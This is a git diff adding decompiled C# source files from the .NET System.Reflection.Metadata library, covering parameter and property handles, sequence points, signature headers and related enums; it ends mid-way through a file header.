index 0000000..24a2436 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PEReaderExtensions.cs @@ -0,0 +1,42 @@ +using System.ComponentModel; +using System.Reflection.PortableExecutable; + +namespace System.Reflection.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public static class PEReaderExtensions +{ + public static MethodBodyBlock GetMethodBody(this PEReader peReader, int relativeVirtualAddress) + { + if (peReader == null) + { + Throw.ArgumentNull("peReader"); + } + PEMemoryBlock sectionData = peReader.GetSectionData(relativeVirtualAddress); + if (sectionData.Length == 0) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidMethodRva, relativeVirtualAddress)); + } + return MethodBodyBlock.Create(sectionData.GetReader()); + } + + public static MetadataReader GetMetadataReader(this PEReader peReader) + { + return peReader.GetMetadataReader(MetadataReaderOptions.Default, null); + } + + public static MetadataReader GetMetadataReader(this PEReader peReader, MetadataReaderOptions options) + { + return peReader.GetMetadataReader(options, null); + } + + public unsafe static MetadataReader GetMetadataReader(this PEReader peReader, MetadataReaderOptions options, MetadataStringDecoder? utf8Decoder) + { + if (peReader == null) + { + Throw.ArgumentNull("peReader"); + } + PEMemoryBlock metadata = peReader.GetMetadata(); + return new MetadataReader(metadata.Pointer, metadata.Length, options, utf8Decoder, peReader); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Parameter.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Parameter.cs new file mode 100644 index 0000000..1f0cc9f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Parameter.cs @@ -0,0 +1,42 @@ +namespace System.Reflection.Metadata; + +public readonly struct Parameter +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private ParameterHandle Handle => ParameterHandle.FromRowId(_rowId); + + public ParameterAttributes Attributes => _reader.ParamTable.GetFlags(Handle); + + public int SequenceNumber => _reader.ParamTable.GetSequence(Handle); + + public StringHandle Name => _reader.ParamTable.GetName(Handle); + + internal Parameter(MetadataReader reader, ParameterHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public ConstantHandle GetDefaultValue() + { + return _reader.ConstantTable.FindConstant(Handle); + } + + public BlobHandle GetMarshallingDescriptor() + { + int num = _reader.FieldMarshalTable.FindFieldMarshalRowId(Handle); + if (num == 0) + { + return default(BlobHandle); + } + return _reader.FieldMarshalTable.GetNativeType(num); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandle.cs new file mode 100644 index 0000000..cb5d44e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ParameterHandle : IEquatable +{ + private const uint tokenType = 134217728u; + + private const byte tokenTypeSmall = 8; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ParameterHandle(int rowId) + { + _rowId = rowId; + } + + internal static ParameterHandle FromRowId(int rowId) + { + return new ParameterHandle(rowId); + } + + public static implicit operator Handle(ParameterHandle handle) + { + return new Handle(8, handle._rowId); + } + + public static implicit operator EntityHandle(ParameterHandle handle) + { + return new EntityHandle((uint)(0x8000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ParameterHandle(Handle handle) + { + if (handle.VType != 8) + { + Throw.InvalidCast(); + } + return new ParameterHandle(handle.RowId); + } + + public static explicit operator ParameterHandle(EntityHandle handle) + { + if (handle.VType != 134217728) + { + Throw.InvalidCast(); + } + return new ParameterHandle(handle.RowId); + } + + public static bool operator ==(ParameterHandle left, ParameterHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ParameterHandle) + { + return ((ParameterHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(ParameterHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ParameterHandle left, ParameterHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandleCollection.cs new file mode 100644 index 0000000..9119f91 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ParameterHandleCollection.cs @@ -0,0 +1,93 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct ParameterHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public ParameterHandle Current + { + get + { + if (_reader.UseParamPtrTable) + { + return GetCurrentParameterIndirect(); + } + return ParameterHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + private ParameterHandle GetCurrentParameterIndirect() + { + return _reader.ParamPtrTable.GetParamFor(_currentRowId & 0xFFFFFF); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal ParameterHandleCollection(MetadataReader reader, MethodDefinitionHandle containingMethod) + { + _reader = reader; + reader.GetParameterRange(containingMethod, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PathUtilities.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PathUtilities.cs new file mode 100644 index 0000000..1e98404 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PathUtilities.cs @@ -0,0 +1,57 @@ +using System.IO; + +namespace System.Reflection.Metadata; + +internal static class PathUtilities +{ + private const char DirectorySeparatorChar = '\\'; + + private const char AltDirectorySeparatorChar = '/'; + + private const char VolumeSeparatorChar = ':'; + + private static string s_platformSpecificDirectorySeparator; + + private static string PlatformSpecificDirectorySeparator => s_platformSpecificDirectorySeparator ?? (s_platformSpecificDirectorySeparator = ((Array.IndexOf(Path.GetInvalidFileNameChars(), '*') >= 0) ? '\\' : '/').ToString()); + + internal static int IndexOfFileName(string path) + { + if (path == null) + { + return -1; + } + for (int num = path.Length - 1; num >= 0; num--) + { + char c = path[num]; + if (c == '\\' || c == '/' || c == ':') + { + return num + 1; + } + } + return 0; + } + + internal static string GetFileName(string path, bool includeExtension = true) + { + int num = IndexOfFileName(path); + if (num > 0) + { + return path.Substring(num); + } + return path; + } + + internal static string CombinePathWithRelativePath(string root, string relativePath) + { + if (root.Length == 0) + { + return relativePath; + } + char c = root[root.Length - 1]; + if (c == '\\' || c == '/' || c == ':') + { + return root + relativePath; + } + return root + PlatformSpecificDirectorySeparator + relativePath; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PooledBlobBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PooledBlobBuilder.cs new file mode 100644 index 0000000..dfb9cb9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PooledBlobBuilder.cs @@ -0,0 +1,41 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata; + +internal sealed class PooledBlobBuilder : BlobBuilder +{ + private const int PoolSize = 128; + + private const int ChunkSize = 1024; + + private static readonly ObjectPool s_chunkPool = new ObjectPool(() => new PooledBlobBuilder(1024), 128); + + private PooledBlobBuilder(int size) + : base(size) + { + } + + public static PooledBlobBuilder GetInstance() + { + return s_chunkPool.Allocate(); + } + + protected override BlobBuilder AllocateChunk(int minimalSize) + { + if (minimalSize <= 1024) + { + return s_chunkPool.Allocate(); + } + return new BlobBuilder(minimalSize); + } + + protected override void FreeChunk() + { + s_chunkPool.Free(this); + } + + public new void Free() + { + base.Free(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PortablePdbVersions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PortablePdbVersions.cs new file mode 100644 index 0000000..e4194b6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PortablePdbVersions.cs @@ -0,0 +1,35 @@ +namespace System.Reflection.Metadata; + +internal static class PortablePdbVersions +{ + internal const string DefaultMetadataVersion = "PDB v1.0"; + + internal const ushort DefaultFormatVersion = 256; + + internal const ushort MinFormatVersion = 256; + + internal const ushort MinEmbeddedVersion = 256; + + internal const ushort DefaultEmbeddedVersion = 256; + + internal const ushort MinUnsupportedEmbeddedVersion = 512; + + internal const uint DebugDirectoryEmbeddedSignature = 1111773261u; + + internal const ushort PortableCodeViewVersionMagic = 20557; + + internal static uint DebugDirectoryEntryVersion(ushort portablePdbVersion) + { + return (uint)(0x504D0000 | portablePdbVersion); + } + + internal static uint DebugDirectoryEmbeddedVersion(ushort portablePdbVersion) + { + return (uint)(0x1000000 | portablePdbVersion); + } + + internal static string Format(ushort version) + { + return (version >> 8) + "." + (version & 0xFF); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveSerializationTypeCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveSerializationTypeCode.cs new file mode 100644 index 0000000..31f9be3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveSerializationTypeCode.cs @@ -0,0 +1,18 @@ +namespace System.Reflection.Metadata; + +public enum PrimitiveSerializationTypeCode : byte +{ + Boolean = 2, + Byte = 5, + SByte = 4, + Char = 3, + Int16 = 6, + UInt16 = 7, + Int32 = 8, + UInt32 = 9, + Int64 = 10, + UInt64 = 11, + Single = 12, + Double = 13, + String = 14 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveTypeCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveTypeCode.cs new file mode 100644 index 0000000..a5130a2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PrimitiveTypeCode.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata; + +public enum PrimitiveTypeCode : byte +{ + Boolean = 2, + Byte = 5, + SByte = 4, + Char = 3, + Int16 = 6, + UInt16 = 7, + Int32 = 8, + UInt32 = 9, + Int64 = 10, + UInt64 = 11, + Single = 12, + Double = 13, + IntPtr = 24, + UIntPtr = 25, + Object = 28, + String = 14, + TypedReference = 22, + Void = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyAccessors.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyAccessors.cs new file mode 100644 index 0000000..c6942f3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyAccessors.cs @@ -0,0 +1,27 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct PropertyAccessors +{ + private readonly int _getterRowId; + + private readonly int _setterRowId; + + private readonly ImmutableArray _others; + + public MethodDefinitionHandle Getter => MethodDefinitionHandle.FromRowId(_getterRowId); + + public MethodDefinitionHandle Setter => MethodDefinitionHandle.FromRowId(_setterRowId); + + public ImmutableArray Others => _others; + + internal PropertyAccessors(int getterRowId, int setterRowId, ImmutableArray others) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + _getterRowId = getterRowId; + _setterRowId = setterRowId; + _others = others; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinition.cs new file mode 100644 index 0000000..918687b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinition.cs @@ -0,0 +1,77 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct PropertyDefinition +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private PropertyDefinitionHandle Handle => PropertyDefinitionHandle.FromRowId(_rowId); + + public StringHandle Name => _reader.PropertyTable.GetName(Handle); + + public PropertyAttributes Attributes => _reader.PropertyTable.GetFlags(Handle); + + public BlobHandle Signature => _reader.PropertyTable.GetSignature(Handle); + + internal PropertyDefinition(MetadataReader reader, PropertyDefinitionHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public MethodSignature DecodeSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeMethodSignature(ref blobReader); + } + + public ConstantHandle GetDefaultValue() + { + return _reader.ConstantTable.FindConstant(Handle); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + public PropertyAccessors GetAccessors() + { + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + int getterRowId = 0; + int setterRowId = 0; + Builder val = null; + ushort methodCount; + int num = _reader.MethodSemanticsTable.FindSemanticMethodsForProperty(Handle, out methodCount); + for (ushort num2 = 0; num2 < methodCount; num2++) + { + int rowId = num + num2; + switch (_reader.MethodSemanticsTable.GetSemantics(rowId)) + { + case MethodSemanticsAttributes.Getter: + getterRowId = _reader.MethodSemanticsTable.GetMethod(rowId).RowId; + break; + case MethodSemanticsAttributes.Setter: + setterRowId = _reader.MethodSemanticsTable.GetMethod(rowId).RowId; + break; + case MethodSemanticsAttributes.Other: + if (val == null) + { + val = ImmutableArray.CreateBuilder(); + } + val.Add(_reader.MethodSemanticsTable.GetMethod(rowId)); + break; + } + } + ImmutableArray others = val?.ToImmutable() ?? ImmutableArray.Empty; + return new PropertyAccessors(getterRowId, setterRowId, others); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandle.cs new file mode 100644 index 0000000..c977981 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct PropertyDefinitionHandle : IEquatable +{ + private const uint tokenType = 385875968u; + + private const byte tokenTypeSmall = 23; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private PropertyDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static PropertyDefinitionHandle FromRowId(int rowId) + { + return new PropertyDefinitionHandle(rowId); + } + + public static implicit operator Handle(PropertyDefinitionHandle handle) + { + return new Handle(23, handle._rowId); + } + + public static implicit operator EntityHandle(PropertyDefinitionHandle handle) + { + return new EntityHandle((uint)(0x17000000uL | (ulong)handle._rowId)); + } + + public static explicit operator PropertyDefinitionHandle(Handle handle) + { + if (handle.VType != 23) + { + Throw.InvalidCast(); + } + return new PropertyDefinitionHandle(handle.RowId); + } + + public static explicit operator PropertyDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 385875968) + { + Throw.InvalidCast(); + } + return new PropertyDefinitionHandle(handle.RowId); + } + + public static bool operator ==(PropertyDefinitionHandle left, PropertyDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is PropertyDefinitionHandle) + { + return ((PropertyDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(PropertyDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(PropertyDefinitionHandle left, PropertyDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandleCollection.cs new file mode 100644 index 0000000..db99d23 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PropertyDefinitionHandleCollection.cs @@ -0,0 +1,100 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct PropertyDefinitionHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public PropertyDefinitionHandle Current + { + get + { + if (_reader.UsePropertyPtrTable) + { + return GetCurrentPropertyIndirect(); + } + return PropertyDefinitionHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + private PropertyDefinitionHandle GetCurrentPropertyIndirect() + { + return _reader.PropertyPtrTable.GetPropertyFor(_currentRowId & 0xFFFFFF); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal PropertyDefinitionHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.PropertyTable.NumberOfRows; + } + + internal PropertyDefinitionHandleCollection(MetadataReader reader, TypeDefinitionHandle containingType) + { + _reader = reader; + reader.GetPropertyRange(containingType, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ReservedBlob.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ReservedBlob.cs new file mode 100644 index 0000000..8f60588 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ReservedBlob.cs @@ -0,0 +1,19 @@ +namespace System.Reflection.Metadata; + +public readonly struct ReservedBlob where THandle : struct +{ + public THandle Handle { get; } + + public Blob Content { get; } + + internal ReservedBlob(THandle handle, Blob content) + { + Handle = handle; + Content = content; + } + + public BlobWriter CreateWriter() + { + return new BlobWriter(Content); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePoint.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePoint.cs new file mode 100644 index 0000000..6cde1d8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePoint.cs @@ -0,0 +1,77 @@ +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +public readonly struct SequencePoint : IEquatable +{ + public const int HiddenLine = 16707566; + + public DocumentHandle Document { get; } + + public int Offset { get; } + + public int StartLine { get; } + + public int EndLine { get; } + + public int StartColumn { get; } + + public int EndColumn { get; } + + public bool IsHidden => StartLine == 16707566; + + internal SequencePoint(DocumentHandle document, int offset) + { + Document = document; + Offset = offset; + StartLine = 16707566; + StartColumn = 0; + EndLine = 16707566; + EndColumn = 0; + } + + internal SequencePoint(DocumentHandle document, int offset, int startLine, ushort startColumn, int endLine, ushort endColumn) + { + Document = document; + Offset = offset; + StartLine = startLine; + StartColumn = startColumn; + EndLine = endLine; + EndColumn = endColumn; + } + + public override int GetHashCode() + { + return Hash.Combine(Document.RowId, Hash.Combine(Offset, Hash.Combine(StartLine, Hash.Combine(StartColumn, Hash.Combine(EndLine, EndColumn))))); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is SequencePoint other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SequencePoint other) + { + if (Document == other.Document && Offset == other.Offset && StartLine == other.StartLine && StartColumn == other.StartColumn && EndLine == other.EndLine) + { + return EndColumn == other.EndColumn; + } + return false; + } + + private string GetDebuggerDisplay() + { + if (!IsHidden) + { + return string.Format("{0}: ({1}, {2}) - ({3}, {4})", new object[5] { Offset, StartLine, StartColumn, EndLine, EndColumn }); + } + return ""; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePointCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePointCollection.cs new file mode 100644 index 0000000..7649208 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SequencePointCollection.cs @@ -0,0 +1,178 @@ +using System.Collections; +using System.Collections.Generic; +using System.Reflection.Internal; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct SequencePointCollection : IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private BlobReader _reader; + + private SequencePoint _current; + + private int _previousNonHiddenStartLine; + + private ushort _previousNonHiddenStartColumn; + + public SequencePoint Current => _current; + + object IEnumerator.Current => _current; + + internal Enumerator(MemoryBlock block, DocumentHandle document) + { + _reader = new BlobReader(block); + _current = new SequencePoint(document, -1); + _previousNonHiddenStartLine = -1; + _previousNonHiddenStartColumn = 0; + } + + public bool MoveNext() + { + if (_reader.RemainingBytes == 0) + { + return false; + } + DocumentHandle document = _current.Document; + int offset; + if (_reader.Offset == 0) + { + _reader.ReadCompressedInteger(); + if (document.IsNil) + { + document = ReadDocumentHandle(); + } + offset = _reader.ReadCompressedInteger(); + } + else + { + int delta; + while ((delta = _reader.ReadCompressedInteger()) == 0) + { + document = ReadDocumentHandle(); + } + offset = AddOffsets(_current.Offset, delta); + } + ReadDeltaLinesAndColumns(out var deltaLines, out var deltaColumns); + if (deltaLines == 0 && deltaColumns == 0) + { + _current = new SequencePoint(document, offset); + return true; + } + int num; + ushort num2; + if (_previousNonHiddenStartLine < 0) + { + num = ReadLine(); + num2 = ReadColumn(); + } + else + { + num = AddLines(_previousNonHiddenStartLine, _reader.ReadCompressedSignedInteger()); + num2 = AddColumns(_previousNonHiddenStartColumn, _reader.ReadCompressedSignedInteger()); + } + _previousNonHiddenStartLine = num; + _previousNonHiddenStartColumn = num2; + _current = new SequencePoint(document, offset, num, num2, AddLines(num, deltaLines), AddColumns(num2, deltaColumns)); + return true; + } + + private void ReadDeltaLinesAndColumns(out int deltaLines, out int deltaColumns) + { + deltaLines = _reader.ReadCompressedInteger(); + deltaColumns = ((deltaLines == 0) ? _reader.ReadCompressedInteger() : _reader.ReadCompressedSignedInteger()); + } + + private int ReadLine() + { + return _reader.ReadCompressedInteger(); + } + + private ushort ReadColumn() + { + int num = _reader.ReadCompressedInteger(); + if (num > 65535) + { + Throw.SequencePointValueOutOfRange(); + } + return (ushort)num; + } + + private static int AddOffsets(int value, int delta) + { + int num = value + delta; + if (num < 0) + { + Throw.SequencePointValueOutOfRange(); + } + return num; + } + + private static int AddLines(int value, int delta) + { + int num = value + delta; + if (num < 0 || num >= 16707566) + { + Throw.SequencePointValueOutOfRange(); + } + return num; + } + + private static ushort AddColumns(ushort value, int delta) + { + int num = value + delta; + if (num < 0 || num >= 65535) + { + Throw.SequencePointValueOutOfRange(); + } + return (ushort)num; + } + + private DocumentHandle ReadDocumentHandle() + { + int num = _reader.ReadCompressedInteger(); + if (num == 0 || !TokenTypeIds.IsValidRowId(num)) + { + Throw.InvalidHandle(); + } + return DocumentHandle.FromRowId(num); + } + + public void Reset() + { + _reader.Reset(); + _current = default(SequencePoint); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MemoryBlock _block; + + private readonly DocumentHandle _document; + + internal SequencePointCollection(MemoryBlock block, DocumentHandle document) + { + _block = block; + _document = document; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_block, _document); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SerializationTypeCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SerializationTypeCode.cs new file mode 100644 index 0000000..409f041 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SerializationTypeCode.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata; + +public enum SerializationTypeCode : byte +{ + Invalid = 0, + Boolean = 2, + Char = 3, + SByte = 4, + Byte = 5, + Int16 = 6, + UInt16 = 7, + Int32 = 8, + UInt32 = 9, + Int64 = 10, + UInt64 = 11, + Single = 12, + Double = 13, + String = 14, + SZArray = 29, + Type = 80, + TaggedObject = 81, + Enum = 85 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureAttributes.cs new file mode 100644 index 0000000..63a0300 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureAttributes.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Metadata; + +[Flags] +public enum SignatureAttributes : byte +{ + None = 0, + Generic = 0x10, + Instance = 0x20, + ExplicitThis = 0x40 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureCallingConvention.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureCallingConvention.cs new file mode 100644 index 0000000..850b632 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureCallingConvention.cs @@ -0,0 +1,12 @@ +namespace System.Reflection.Metadata; + +public enum SignatureCallingConvention : byte +{ + Default = 0, + CDecl = 1, + StdCall = 2, + ThisCall = 3, + FastCall = 4, + VarArgs = 5, + Unmanaged = 9 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureHeader.cs new file mode 100644 index 0000000..910918a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureHeader.cs @@ -0,0 +1,100 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text; + +namespace System.Reflection.Metadata; + +public struct SignatureHeader(byte rawValue) : IEquatable +{ + private readonly byte _rawValue = rawValue; + + public const byte CallingConventionOrKindMask = 15; + + private const byte maxCallingConvention = 5; + + public byte RawValue => _rawValue; + + public SignatureCallingConvention CallingConvention + { + get + { + int num = _rawValue & 0xF; + if (num > 5 && num != 9) + { + return SignatureCallingConvention.Default; + } + return (SignatureCallingConvention)num; + } + } + + public SignatureKind Kind + { + get + { + int num = _rawValue & 0xF; + if (num <= 5 || num == 9) + { + return SignatureKind.Method; + } + return (SignatureKind)num; + } + } + + public SignatureAttributes Attributes => (SignatureAttributes)(_rawValue & -16); + + public bool HasExplicitThis => (_rawValue & 0x40) != 0; + + public bool IsInstance => (_rawValue & 0x20) != 0; + + public bool IsGeneric => (_rawValue & 0x10) != 0; + + public SignatureHeader(SignatureKind kind, SignatureCallingConvention convention, SignatureAttributes attributes) + : this((byte)((uint)kind | (uint)convention | (uint)attributes)) + { + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is SignatureHeader other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SignatureHeader other) + { + return _rawValue == other._rawValue; + } + + public override int GetHashCode() + { + return _rawValue; + } + + public static bool operator ==(SignatureHeader left, SignatureHeader right) + { + return left._rawValue == right._rawValue; + } + + public static bool operator !=(SignatureHeader left, SignatureHeader right) + { + return left._rawValue != right._rawValue; + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append(Kind.ToString()); + if (Kind == SignatureKind.Method) + { + stringBuilder.Append(','); + stringBuilder.Append(CallingConvention.ToString()); + } + if (Attributes != SignatureAttributes.None) + { + stringBuilder.Append(','); + stringBuilder.Append(Attributes.ToString()); + } + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureKind.cs new file mode 100644 index 